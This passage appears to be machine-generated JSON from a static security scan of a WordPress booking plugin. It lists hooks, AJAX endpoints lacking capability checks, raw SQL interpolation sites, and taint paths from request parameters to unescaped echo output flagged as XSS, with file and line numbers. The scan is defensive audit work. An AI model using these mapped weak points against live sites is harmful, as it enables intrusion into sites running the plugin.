\\MPWPB_Dependencies.php",{"type":189,"name":268,"callback":623,"file":621,"line":202},"mpwpb_upgrade",{"type":189,"name":454,"callback":625,"priority":76,"file":621,"line":207},"frontend_script",{"type":189,"name":223,"callback":627,"priority":76,"file":621,"line":193},"admin_scripts",{"type":189,"name":195,"callback":629,"file":630,"line":631},"load_plugin_textdomain","inc\\MPWPB_Localization.php",38,{"type":204,"name":633,"callback":634,"priority":14,"file":630,"line":635},"wpml_register_single_string","register_wpml_strings",41,{"type":189,"name":190,"callback":637,"file":630,"line":638},"register_polylang_strings",44,{"type":189,"name":640,"callback":641,"file":630,"line":642},"mpwpb_before_booking_form","add_language_switcher",47,{"type":204,"name":644,"callback":645,"priority":14,"file":630,"line":182},"mpwpb_translatable_content","translate_content",{"type":204,"name":647,"callback":648,"priority":14,"file":630,"line":649},"mpwpb_service_name","translate_string",53,{"type":204,"name":651,"callback":648,"priority":14,"file":630,"line":652},"mpwpb_category_name",54,{"type":204,"name":654,"callback":648,"priority":14,"file":630,"line":655},"mpwpb_sub_category_name",55,{"type":204,"name":657,"callback":648,"priority":14,"file":630,"line":658},"mpwpb_extra_service_name",56,{"type":189,"name":277,"callback":660,"file":630,"line":661},"add_translation_metabox",59,{"type":189,"name":250,"callback":663,"priority":14,"file":630,"line":664},"save_translation_data",62,{"type":189,"name":666,"callback":667,"priority":76,"file":668,"line":669},"activated_plugin","activation_redirect","MPWPB_Plugin.php",31,{"type":189,"name":666,"callback":671,"priority":76,"file":668,"line":672},"activation_redirect_setup",36,{"type":189,"name":674,"callback":675,"priority":14,"file":676,"line":228},"add_mpwpb_hidden_table","hidden_table","mp_global\\class\\MPWPB_Custom_Layout.php",{"type":189,"name":678,"callback":679,"priority":14,"file":676,"line":198},"add_mpwpb_pagination_section","pagination",{"type":189,"name":681,"callback":682,"priority":14,"file":683,"line":198},"add_mpwpb_custom_slider","super_slider","mp_global\\class\\MPWPB_Custom_Slider.php",{"type":189,"name":685,"callback":686,"file":683,"line":202},"add_mpwpb_custom_slider_only","super_slider_only",{"type":189,"name":688,"callback":689,"file":683,"line":207},"add_mpwpb_custom_slider_icon_indicator","icon_indicator",{"type":189,"name":691,"callback":692,"priority":14,"file":693,"line":228},"mpwpb_load_date_picker_js","date_picker_js","mp_global\\class\\MPWPB_Global_Function.php",{"type":189,"name":695,"callback":696,"priority":98,"file":697,"line":228},"wp_head","add_global_style","mp_global\\class\\MPWPB_Global_Style.php",{"type":189,"name":478,"callback":696,"priority":98,"file":697,"line":198},{"type":189,"name":700,"callback":701,"priority":14,"file":702,"line":198},"mpwpb_input_add_icon","load_icon","mp_global\\class\\MPWPB_Select_Icon_image.php",{"type":189,"name":704,"callback":705,"priority":14,"file":702,"line":202},"mpwpb_add_single_image","add_single_image",{"type":189,"name":707,"callback":708,"priority":14,"file":702,"line":207},"mpwpb_add_multi_image","add_multi_image",{"type":189,"name":710,"callback":711,"priority":14,"file":702,"line":193},"mpwpb_add_icon_image","add_icon_image",{"type":189,"name":713,"callback":714,"file":702,"line":715},"admin_footer","icon_popup",34,{"type":189,"name":713,"callback":714,"file":702,"line":717},164,{"type":189,"name":719,"callback":675,"priority":14,"file":720,"line":228},"add_mp_hidden_table","mp_global\\class\\MP_Custom_Layout.php",{"type":189,"name":722,"callback":679,"priority":14,"file":720,"line":198},"add_mp_pagination_section",{"type":189,"name":724,"callback":682,"priority":14,"file":725,"line":198},"add_mp_custom_slider","mp_global\\class\\MP_Custom_Slider.php",{"type":189,"name":727,"callback":686,"file":725,"line":202},"add_mp_custom_slider_only",{"type":189,"name":729,"callback":689,"file":725,"line":207},"add_mp_custom_slider_icon_indicator",{"type":189,"name":731,"callback":692,"priority":14,"file":732,"line":228},"mp_load_date_picker_js","mp_global\\class\\MP_Global_Function.php",{"type":189,"name":695,"callback":696,"priority":98,"file":734,"line":228},"mp_global\\class\\MP_Global_Style.php",{"type":189,"name":478,"callback":696,"priority":98,"file":734,"line":198},{"type":189,"name":737,"callback":701,"priority":14,"file":738,"line":198},"mp_input_add_icon","mp_global\\class\\MP_Select_Icon_image.php",{"type":189,"name":740,"callback":705,"priority":14,"file":738,"line":202},"mp_add_single_image",{"type":189,"name":742,"callback":708,"priority":14,"file":738,"line":207},"mp_add_multi_image",{"type":189,"name":744,"callback":711,"priority":14,"file":738,"line":193},"mp_add_icon_image",{"type":189,"name":713,"callback":714,"file":738,"line":715},{"type":189,"name":713,"callback":714,"file":738,"line":717},{"type":204,"name":748,"callback":288,"priority":302,"file":749,"line":228},"mp_settings_sec_reg","mp_global\\class\\MP_Settings_Global.php",{"type":204,"name":751,"callback":293,"priority":302,"file":749,"line":198},"mp_settings_sec_fields",{"type":189,"name":753,"callback":296,"priority":297,"file":749,"line":202},"wsa_form_bottom_mp_basic_license_settings",{"type":189,"name":755,"callback":756,"file":749,"line":207},"mp_basic_license_list","licence_area",{"type":189,"name":223,"callback":345,"priority":758,"file":759,"line":202},80,"mp_global\\MPWPB_Global_File_Load.php",{"type":189,"name":454,"callback":348,"priority":758,"file":759,"line":207},{"type":189,"name":478,"callback":762,"priority":297,"file":759,"line":193},"add_admin_head",{"type":189,"name":695,"callback":764,"priority":297,"file":759,"line":214},"add_frontend_head",{"type":189,"name":223,"callback":345,"priority":758,"file":766,"line":202},"mp_global\\MP_Global_File_Load.php",{"type":189,"name":454,"callback":348,"priority":758,"file":766,"line":207},{"type":189,"name":478,"callback":762,"priority":297,"file":766,"line":193},{"type":189,"name":695,"callback":764,"priority":297,"file":766,"line":214},[771,776,779,782,785,787,789,791,793,795,798,801,804,806,807,808,809,810,811,813,816,819,822,825,828,831,834,838,841,843,845,847,850,853,856,859,862,865,868,871,874,875,876,877,878,879,880,883,886,887,889,890,893,896,899,902,905,908,911,914,916,919,920,923,924,927,928,930,931,934,935,936,937,938,940],{"action":772,"nopriv":50,"callback":773,"hasNonce":774,"hasCapCheck":774,"file":775,"line":202},"mpwpb_load_analytics_data","load_analytics_data",true,"Admin\\MPWPB_Analytics_Ajax.php",{"action":777,"nopriv":50,"callback":778,"hasNonce":774,"hasCapCheck":774,"file":775,"line":207},"mpwpb_export_analytics_data","export_analytics_data",{"action":780,"nopriv":50,"callback":781,"hasNonce":774,"hasCapCheck":774,"file":266,"line":302},"mpwpb_change_review_status","change_review_status",{"action":783,"nopriv":50,"callback":784,"hasNonce":774,"hasCapCheck":774,"file":266,"line":306},"mpwpb_delete_review","delete_review",{"action":786,"nopriv":50,"callback":786,"hasNonce":774,"hasCapCheck":50,"file":309,"line":198},"get_mpwpb_get_staff_form",{"action":788,"nopriv":50,"callback":788,"hasNonce":774,"hasCapCheck":50,"file":309,"line":207},"mpwpb_delete_staff",{"action":790,"nopriv":50,"callback":790,"hasNonce":774,"hasCapCheck":50,"file":309,"line":214},"get_mpwpb_staff_end_time_slot",{"action":792,"nopriv":50,"callback":792,"hasNonce":774,"hasCapCheck":50,"file":309,"line":298},"get_mpwpb_staff_start_break_time",{"action":794,"nopriv":50,"callback":794,"hasNonce":774,"hasCapCheck":50,"file":309,"line":306},"get_mpwpb_staff_end_break_time",{"action":796,"nopriv":50,"callback":797,"hasNonce":774,"hasCapCheck":50,"file":313,"line":207},"mpwpb_cancel_booking","cancel_booking",{"action":799,"nopriv":50,"callback":800,"hasNonce":774,"hasCapCheck":50,"file":313,"line":193},"mpwpb_reschedule_booking","reschedule_booking",{"action":802,"nopriv":50,"callback":803,"hasNonce":774,"hasCapCheck":50,"file":313,"line":214},"mpwpb_update_user_profile","update_user_profile",{"action":805,"nopriv":50,"callback":805,"hasNonce":774,"hasCapCheck":774,"file":313,"line":298},"mpwpb_save_specific_schedule",{"action":786,"nopriv":50,"callback":786,"hasNonce":774,"hasCapCheck":50,"file":315,"line":198},{"action":788,"nopriv":50,"callback":788,"hasNonce":774,"hasCapCheck":50,"file":315,"line":207},{"action":790,"nopriv":50,"callback":790,"hasNonce":774,"hasCapCheck":50,"file":315,"line":214},{"action":792,"nopriv":50,"callback":792,"hasNonce":774,"hasCapCheck":50,"file":315,"line":298},{"action":794,"nopriv":50,"callback":794,"hasNonce":774,"hasCapCheck":50,"file":315,"line":306},{"action":812,"nopriv":50,"callback":812,"hasNonce":774,"hasCapCheck":774,"file":342,"line":333},"mpwpb_disable_field",{"action":814,"nopriv":50,"callback":815,"hasNonce":774,"hasCapCheck":50,"file":378,"line":183},"mpwpb_save_category_service","save_category_service",{"action":817,"nopriv":50,"callback":818,"hasNonce":774,"hasCapCheck":50,"file":378,"line":302},"mpwpb_update_category_service","update_category_service",{"action":820,"nopriv":50,"callback":821,"hasNonce":774,"hasCapCheck":50,"file":378,"line":355},"mpwpb_update_sub_category","update_sub_category_service",{"action":823,"nopriv":50,"callback":824,"hasNonce":774,"hasCapCheck":50,"file":378,"line":154},"mpwpb_category_service_delete_item","delete_category_service",{"action":826,"nopriv":50,"callback":827,"hasNonce":774,"hasCapCheck":50,"file":378,"line":362},"mpwpb_load_parent_category","load_parent_category",{"action":829,"nopriv":50,"callback":830,"hasNonce":774,"hasCapCheck":50,"file":378,"line":456},"mpwpb_load_sub_category","load_sub_category",{"action":832,"nopriv":50,"callback":833,"hasNonce":774,"hasCapCheck":50,"file":378,"line":489},"mpwpb_sub_category_delete","delete_sub_category",{"action":835,"nopriv":50,"callback":836,"hasNonce":774,"hasCapCheck":50,"file":378,"line":837},"mpwpb_sort_category","sort_category",32,{"action":839,"nopriv":50,"callback":840,"hasNonce":774,"hasCapCheck":50,"file":378,"line":715},"mpwpb_sort_sub_category","sort_sub_category",{"action":842,"nopriv":50,"callback":842,"hasNonce":774,"hasCapCheck":50,"file":382,"line":202},"get_mpwpb_end_time_slot",{"action":844,"nopriv":50,"callback":844,"hasNonce":774,"hasCapCheck":50,"file":382,"line":193},"get_mpwpb_start_break_time",{"action":846,"nopriv":50,"callback":846,"hasNonce":774,"hasCapCheck":50,"file":382,"line":183},"get_mpwpb_end_break_time",{"action":848,"nopriv":50,"callback":849,"hasNonce":774,"hasCapCheck":50,"file":385,"line":202},"mpwpb_save_ex_service","save_ex_service",{"action":851,"nopriv":50,"callback":852,"hasNonce":774,"hasCapCheck":50,"file":385,"line":193},"mpwpb_ext_service_update","ext_service_update_item",{"action":854,"nopriv":50,"callback":855,"hasNonce":774,"hasCapCheck":50,"file":385,"line":183},"mpwpb_ext_service_delete_item","extra_service_delete_item",{"action":857,"nopriv":50,"callback":858,"hasNonce":774,"hasCapCheck":50,"file":385,"line":302},"mpwpb_sort_extra_service","sort_extra_service",{"action":860,"nopriv":50,"callback":861,"hasNonce":774,"hasCapCheck":50,"file":385,"line":355},"mpwpb_clone_ext_service","clone_ext_service",{"action":863,"nopriv":50,"callback":864,"hasNonce":774,"hasCapCheck":50,"file":388,"line":207},"mpwpb_faq_data_save","save_faq_data_settings",{"action":866,"nopriv":50,"callback":867,"hasNonce":774,"hasCapCheck":50,"file":388,"line":214},"mpwpb_faq_data_update","faq_data_update",{"action":869,"nopriv":50,"callback":870,"hasNonce":774,"hasCapCheck":50,"file":388,"line":298},"mpwpb_faq_delete_item","faq_delete_item",{"action":872,"nopriv":50,"callback":873,"hasNonce":774,"hasCapCheck":50,"file":388,"line":306},"mpwpb_sort_faq","sort_faq",{"action":842,"nopriv":50,"callback":842,"hasNonce":50,"hasCapCheck":50,"file":398,"line":202},{"action":842,"nopriv":774,"callback":842,"hasNonce":50,"hasCapCheck":50,"file":398,"line":207},{"action":844,"nopriv":50,"callback":844,"hasNonce":50,"hasCapCheck":50,"file":398,"line":214},{"action":844,"nopriv":774,"callback":844,"hasNonce":50,"hasCapCheck":50,"file":398,"line":183},{"action":846,"nopriv":50,"callback":846,"hasNonce":50,"hasCapCheck":50,"file":398,"line":302},{"action":846,"nopriv":774,"callback":846,"hasNonce":50,"hasCapCheck":50,"file":398,"line":306},{"action":881,"nopriv":50,"callback":882,"hasNonce":774,"hasCapCheck":774,"file":420,"line":198},"mpwpb_import_old_data","import_old_data",{"action":884,"nopriv":50,"callback":885,"hasNonce":774,"hasCapCheck":50,"file":423,"line":202},"mpwpb_save_recurring_booking","save_recurring_booking",{"action":884,"nopriv":774,"callback":885,"hasNonce":774,"hasCapCheck":50,"file":423,"line":207},{"action":888,"nopriv":50,"callback":888,"hasNonce":774,"hasCapCheck":50,"file":423,"line":214},"mpwpb_get_filtered_time_by_date",{"action":888,"nopriv":774,"callback":888,"hasNonce":774,"hasCapCheck":50,"file":423,"line":183},{"action":891,"nopriv":50,"callback":892,"hasNonce":774,"hasCapCheck":50,"file":429,"line":202},"mpwpb_show_all_services","show_all_services",{"action":894,"nopriv":50,"callback":895,"hasNonce":774,"hasCapCheck":50,"file":429,"line":193},"mpwpb_save_service","save_service",{"action":897,"nopriv":50,"callback":898,"hasNonce":774,"hasCapCheck":50,"file":429,"line":183},"mpwpb_service_update","update_service",{"action":900,"nopriv":50,"callback":901,"hasNonce":774,"hasCapCheck":50,"file":429,"line":302},"mpwpb_service_delete_item","delete_service",{"action":903,"nopriv":50,"callback":904,"hasNonce":774,"hasCapCheck":50,"file":429,"line":355},"mpwpb_load_service_by_category","load_service_by_category",{"action":906,"nopriv":50,"callback":907,"hasNonce":774,"hasCapCheck":50,"file":429,"line":154},"mpwpb_load_service_by_sub_category","load_service_by_sub_category",{"action":909,"nopriv":50,"callback":910,"hasNonce":774,"hasCapCheck":50,"file":429,"line":362},"mpwpb_sort_service","sort_service",{"action":912,"nopriv":50,"callback":913,"hasNonce":774,"hasCapCheck":50,"file":429,"line":456},"mpwpb_clone_service","clone_services",{"action":915,"nopriv":50,"callback":915,"hasNonce":774,"hasCapCheck":774,"file":440,"line":214},"save_selected_staff_meta",{"action":917,"nopriv":50,"callback":918,"hasNonce":774,"hasCapCheck":50,"file":447,"line":198},"mpwpb_join_waiting_list","join_waiting_list",{"action":917,"nopriv":774,"callback":918,"hasNonce":774,"hasCapCheck":50,"file":447,"line":202},{"action":921,"nopriv":50,"callback":922,"hasNonce":774,"hasCapCheck":50,"file":447,"line":207},"mpwpb_check_waiting_list","check_waiting_list",{"action":921,"nopriv":774,"callback":922,"hasNonce":774,"hasCapCheck":50,"file":447,"line":193},{"action":925,"nopriv":50,"callback":926,"hasNonce":774,"hasCapCheck":50,"file":455,"line":154},"mpwpb_upload_checkout_file","handle_file_upload",{"action":925,"nopriv":774,"callback":926,"hasNonce":774,"hasCapCheck":50,"file":455,"line":337},{"action":884,"nopriv":50,"callback":929,"hasNonce":774,"hasCapCheck":50,"file":510,"line":214},"generate_recurring_dates",{"action":884,"nopriv":774,"callback":929,"hasNonce":774,"hasCapCheck":50,"file":510,"line":183},{"action":932,"nopriv":50,"callback":932,"hasNonce":50,"hasCapCheck":50,"file":933,"line":207},"mpwpb_get_available_staff","Frontend\\MPWPB_Staff_Booking.php",{"action":932,"nopriv":774,"callback":932,"hasNonce":50,"hasCapCheck":50,"file":933,"line":193},{"action":796,"nopriv":50,"callback":797,"hasNonce":774,"hasCapCheck":50,"file":554,"line":202},{"action":799,"nopriv":50,"callback":800,"hasNonce":774,"hasCapCheck":50,"file":554,"line":207},{"action":802,"nopriv":50,"callback":803,"hasNonce":774,"hasCapCheck":50,"file":554,"line":193},{"action":939,"nopriv":50,"callback":939,"hasNonce":774,"hasCapCheck":50,"file":595,"line":337},"mpwpb_add_to_cart",{"action":939,"nopriv":774,"callback":939,"hasNonce":774,"hasCapCheck":50,"file":595,"line":362},[],[943,946],{"tag":23,"callback":944,"file":945,"line":228},"service_booking","Frontend\\MPWPB_Shortcodes.php",{"tag":947,"callback":948,"file":554,"line":198},"mpwpb-user-dashboard","user_dashboard",[],77,8,{"dangerousFunctions":953,"sqlUsage":954,"outputEscaping":970,"fileOperations":27,"externalRequests":71,"nonceChecks":1093,"capabilityChecks":141,"bundledLibraries":1094},[],{"prepared":202,"raw":162,"locations":955},[956,959,961,963,966,968],{"file":266,"line":957,"context":958},443,"$wpdb->get_var() with variable interpolation",{"file":266,"line":960,"context":958},476,{"file":266,"line":962,"context":958},504,{"file":630,"line":964,"context":965},101,"$wpdb->get_results() with variable interpolation",{"file":630,"line":967,"context":965},125,{"file":630,"line":969,"context":965},149,{"escaped":971,"rawEcho":972,"locations":973},2475,68,[974,977,979,981,983,985,987,989,991,993,995,996,998,1000,1001,1003,1005,1007,1009,1011,1013,1014,1016,1018,1020,1022,1024,1026,1028,1029,1031,1033,1035,1036,1038,1040,1042,1044,1046,1047,1048,1049,1050,1052,1053,1055,1057,1058,1060,1061,1063,1065,1066,1067,1068,1069,1070,1071,1073,1074,1076,1078,1081,1083,1084,1086,1089,1091],{"file":221,"line":975,"context":976},87,"raw output",{"file":221,"line":978,"context":976},173,{"file":221,"line":980,"context":976},178,{"file":221,"line":982,"context":976},181,{"file":221,"line":984,"context":976},188,{"file":221,"line":986,"context":976},191,{"file":221,"line":988,"context":976},256,{"file":221,"line":990,"context":976},867,{"file":221,"line":992,"context":976},869,{"file":221,"line":994,"context":976},914,{"file":266,"line":980,"context":976},{"file":266,"line":997,"context":976},182,{"file":309,"line":999,"context":976},136,{"file":313,"line":110,"context":976},{"file":313,"line":1002,"context":976},222,{"file":313,"line":1004,"context":976},269,{"file":313,"line":1006,"context":976},334,{"file":313,"line":1008,"context":976},389,{"file":313,"line":1010,"context":976},400,{"file":315,"line":1012,"context":976},156,{"file":318,"line":837,"context":976},{"file":378,"line":1015,"context":976},305,{"file":378,"line":1017,"context":976},324,{"file":385,"line":1019,"context":976},322,{"file":398,"line":1021,"context":976},332,{"file":416,"line":1023,"context":976},71,{"file":416,"line":1025,"context":976},83,{"file":429,"line":1027,"context":976},486,{"file":476,"line":758,"context":976},{"file":476,"line":1030,"context":976},105,{"file":476,"line":1032,"context":976},107,{"file":476,"line":1034,"context":976},111,{"file":486,"line":77,"context":976},{"file":486,"line":1037,"context":976},118,{"file":486,"line":1039,"context":976},120,{"file":486,"line":1041,"context":976},124,{"file":486,"line":1043,"context":976},127,{"file":486,"line":1045,"context":976},128,{"file":506,"line":758,"context":976},{"file":506,"line":1030,"context":976},{"file":506,"line":1032,"context":976},{"file":506,"line":1034,"context":976},{"file":526,"line":1051,"context":976},226,{"file":526,"line":988,"context":976},{"file":554,"line":1054,"context":976},119,{"file":554,"line":1056,"context":976},215,{"file":554,"line":1051,"context":976},{"file":630,"line":1059,"context":976},341,{"file":676,"line":11,"context":976},{"file":683,"line":1062,"context":976},60,{"file":702,"line":1064,"context":976},102,{"file":702,"line":1041,"context":976},{"file":720,"line":11,"context":976},{"file":725,"line":1062,"context":976},{"file":738,"line":1064,"context":976},{"file":738,"line":1041,"context":976},{"file":759,"line":1064,"context":976},{"file":1072,"line":1064,"context":976},"templates\\layout\\service_list.php",{"file":1072,"line":1064,"context":976},{"file":1072,"line":1075,"context":976},255,{"file":1072,"line":1077,"context":976},289,{"file":1079,"line":1080,"context":976},"templates\\registration\\date_time_select.php",143,{"file":1082,"line":183,"context":976},"templates\\registration\\next_date_time.php",{"file":1082,"line":333,"context":976},{"file":1085,"line":207,"context":976},"templates\\registration\\next_service.php",{"file":1087,"line":1088,"context":976},"templates\\registration\\registration.php",45,{"file":1087,"line":1090,"context":976},46,{"file":1092,"line":214,"context":976},"templates\\registration\\sub_category_selection.php",81,[1095],{"name":1096,"version":38,"knownCves":1097},"Select2",[],[1099,1115,1123,1138,1151,1164,1202,1212,1222,1233,1259,1270,1281,1291,1311,1324,1334,1345,1356,1371,1382,1393,1404,1424,1442,1451,1462,1472,1480,1490,1498,1508,1518,1526,1535,1546,1570,1581,1592,1641,1653,1662],{"entryPoint":1100,"graph":1101,"unsanitizedCount":28,"severity":1114},"analytics_dashboard_page (Admin\\MPWPB_Analytics_Dashboard.php:49)",{"nodes":1102,"edges":1112},[1103,1107],{"id":1104,"type":1105,"label":1106,"file":221,"line":13},"n0","source","$_GET",{"id":1108,"type":1109,"label":1110,"file":221,"line":975,"wp_function":1111},"n1","sink","echo() [XSS]","echo",[1113],{"from":1104,"to":1108,"sanitized":50},"medium",{"entryPoint":1116,"graph":1117,"unsanitizedCount":28,"severity":1114},"reviews_page (Admin\\MPWPB_Reviews_Admin.php:41)",{"nodes":1118,"edges":1121},[1119,1120],{"id":1104,"type":1105,"label":1106,"file":266,"line":182},{"id":1108,"type":1109,"label":1110,"file":266,"line":980,"wp_function":1111},[1122],{"from":1104,"to":1108,"sanitized":50},{"entryPoint":1124,"graph":1125,"unsanitizedCount":28,"severity":1114},"get_mpwpb_staff_end_time_slot (Admin\\MPWPB_Staffs.php:548)",{"nodes":1126,"edges":1135},[1127,1130,1133],{"id":1104,"type":1105,"label":1128,"file":309,"line":1129},"$_POST",558,{"id":1108,"type":1131,"label":1132,"file":309,"line":1129},"transform","→ end_time_slot()",{"id":1134,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},"n2",[1136,1137],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1139,"graph":1140,"unsanitizedCount":28,"severity":1114},"get_mpwpb_staff_start_break_time (Admin\\MPWPB_Staffs.php:561)",{"nodes":1141,"edges":1148},[1142,1144,1146],{"id":1104,"type":1105,"label":1128,"file":309,"line":1143},572,{"id":1108,"type":1131,"label":1145,"file":309,"line":1143},"→ start_break_time_slot()",{"id":1134,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},304,[1149,1150],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1152,"graph":1153,"unsanitizedCount":28,"severity":1114},"get_mpwpb_staff_end_break_time (Admin\\MPWPB_Staffs.php:575)",{"nodes":1154,"edges":1161},[1155,1157,1159],{"id":1104,"type":1105,"label":1128,"file":309,"line":1156},586,{"id":1108,"type":1131,"label":1158,"file":309,"line":1156},"→ end_break_time_slot()",{"id":1134,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},316,[1162,1163],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1165,"graph":1166,"unsanitizedCount":1201,"severity":1114},"\u003CMPWPB_Staffs> (Admin\\MPWPB_Staffs.php:0)",{"nodes":1167,"edges":1192},[1168,1170,1172,1174,1176,1178,1180,1182,1184,1186,1188,1190],{"id":1104,"type":1105,"label":1128,"file":309,"line":1169},531,{"id":1108,"type":1131,"label":1171,"file":309,"line":1169},"→ staff_form()",{"id":1134,"type":1109,"label":1110,"file":315,"line":1173,"wp_function":1111},190,{"id":1175,"type":1105,"label":1128,"file":309,"line":1129},"n3",{"id":1177,"type":1131,"label":1132,"file":309,"line":1129},"n4",{"id":1179,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},"n5",{"id":1181,"type":1105,"label":1128,"file":309,"line":1143},"n6",{"id":1183,"type":1131,"label":1145,"file":309,"line":1143},"n7",{"id":1185,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},"n8",{"id":1187,"type":1105,"label":1128,"file":309,"line":1156},"n9",{"id":1189,"type":1131,"label":1158,"file":309,"line":1156},"n10",{"id":1191,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},"n11",[1193,1194,1195,1196,1197,1198,1199,1200],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"from":1175,"to":1177,"sanitized":50},{"from":1177,"to":1179,"sanitized":50},{"from":1181,"to":1183,"sanitized":50},{"from":1183,"to":1185,"sanitized":50},{"from":1187,"to":1189,"sanitized":50},{"from":1189,"to":1191,"sanitized":50},4,{"entryPoint":1203,"graph":1204,"unsanitizedCount":28,"severity":1114},"get_mpwpb_staff_end_time_slot (Admin\\MPWPB_Staff_Members.php:562)",{"nodes":1205,"edges":1209},[1206,1207,1208],{"id":1104,"type":1105,"label":1128,"file":315,"line":1143},{"id":1108,"type":1131,"label":1132,"file":315,"line":1143},{"id":1134,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},[1210,1211],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1213,"graph":1214,"unsanitizedCount":28,"severity":1114},"get_mpwpb_staff_start_break_time (Admin\\MPWPB_Staff_Members.php:575)",{"nodes":1215,"edges":1219},[1216,1217,1218],{"id":1104,"type":1105,"label":1128,"file":315,"line":1156},{"id":1108,"type":1131,"label":1145,"file":315,"line":1156},{"id":1134,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},[1220,1221],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1223,"graph":1224,"unsanitizedCount":28,"severity":1114},"get_mpwpb_staff_end_break_time (Admin\\MPWPB_Staff_Members.php:589)",{"nodes":1225,"edges":1230},[1226,1228,1229],{"id":1104,"type":1105,"label":1128,"file":315,"line":1227},600,{"id":1108,"type":1131,"label":1158,"file":315,"line":1227},{"id":1134,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},[1231,1232],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1234,"graph":1235,"unsanitizedCount":1201,"severity":1114},"\u003CMPWPB_Staff_Members> (Admin\\MPWPB_Staff_Members.php:0)",{"nodes":1236,"edges":1250},[1237,1239,1240,1241,1242,1243,1244,1245,1246,1247,1248,1249],{"id":1104,"type":1105,"label":1128,"file":315,"line":1238},545,{"id":1108,"type":1131,"label":1171,"file":315,"line":1238},{"id":1134,"type":1109,"label":1110,"file":315,"line":1173,"wp_function":1111},{"id":1175,"type":1105,"label":1128,"file":315,"line":1143},{"id":1177,"type":1131,"label":1132,"file":315,"line":1143},{"id":1179,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},{"id":1181,"type":1105,"label":1128,"file":315,"line":1156},{"id":1183,"type":1131,"label":1145,"file":315,"line":1156},{"id":1185,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},{"id":1187,"type":1105,"label":1128,"file":315,"line":1227},{"id":1189,"type":1131,"label":1158,"file":315,"line":1227},{"id":1191,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},[1251,1252,1253,1254,1255,1256,1257,1258],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"from":1175,"to":1177,"sanitized":50},{"from":1177,"to":1179,"sanitized":50},{"from":1181,"to":1183,"sanitized":50},{"from":1183,"to":1185,"sanitized":50},{"from":1187,"to":1189,"sanitized":50},{"from":1189,"to":1191,"sanitized":50},{"entryPoint":1260,"graph":1261,"unsanitizedCount":28,"severity":1114},"get_mpwpb_end_time_slot (Admin\\settings\\Date_Time.php:327)",{"nodes":1262,"edges":1267},[1263,1265,1266],{"id":1104,"type":1105,"label":1128,"file":382,"line":1264},337,{"id":1108,"type":1131,"label":1132,"file":382,"line":1264},{"id":1134,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},[1268,1269],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1271,"graph":1272,"unsanitizedCount":28,"severity":1114},"get_mpwpb_start_break_time (Admin\\settings\\Date_Time.php:340)",{"nodes":1273,"edges":1278},[1274,1276,1277],{"id":1104,"type":1105,"label":1128,"file":382,"line":1275},351,{"id":1108,"type":1131,"label":1145,"file":382,"line":1275},{"id":1134,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},[1279,1280],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1282,"graph":1283,"unsanitizedCount":28,"severity":1114},"get_mpwpb_end_break_time (Admin\\settings\\Date_Time.php:354)",{"nodes":1284,"edges":1288},[1285,1286,1287],{"id":1104,"type":1105,"label":1128,"file":382,"line":591},{"id":1108,"type":1131,"label":1158,"file":382,"line":591},{"id":1134,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},[1289,1290],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1292,"graph":1293,"unsanitizedCount":51,"severity":1114},"\u003CDate_Time> (Admin\\settings\\Date_Time.php:0)",{"nodes":1294,"edges":1304},[1295,1296,1297,1298,1299,1300,1301,1302,1303],{"id":1104,"type":1105,"label":1128,"file":382,"line":1264},{"id":1108,"type":1131,"label":1132,"file":382,"line":1264},{"id":1134,"type":1109,"label":1110,"file":398,"line":564,"wp_function":1111},{"id":1175,"type":1105,"label":1128,"file":382,"line":1275},{"id":1177,"type":1131,"label":1145,"file":382,"line":1275},{"id":1179,"type":1109,"label":1110,"file":398,"line":1147,"wp_function":1111},{"id":1181,"type":1105,"label":1128,"file":382,"line":591},{"id":1183,"type":1131,"label":1158,"file":382,"line":591},{"id":1185,"type":1109,"label":1110,"file":398,"line":1160,"wp_function":1111},[1305,1306,1307,1308,1309,1310],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"from":1175,"to":1177,"sanitized":50},{"from":1177,"to":1179,"sanitized":50},{"from":1181,"to":1183,"sanitized":50},{"from":1183,"to":1185,"sanitized":50},{"entryPoint":1312,"graph":1313,"unsanitizedCount":28,"severity":1114},"sort_faq (Admin\\settings\\Faq.php:32)",{"nodes":1314,"edges":1321},[1315,1317,1319],{"id":1104,"type":1105,"label":1128,"file":388,"line":1316},51,{"id":1108,"type":1131,"label":1318,"file":388,"line":1316},"→ show_faq_data()",{"id":1134,"type":1109,"label":1110,"file":526,"line":1320,"wp_function":1111},180,[1322,1323],{"from":1104,"to":1108,"sanitized":50},{"from":1108,"to":1134,"sanitized":50},{"entryPoint":1325,"graph":1326,"unsanitizedCount":28,"severity":1114},"faq_data_update 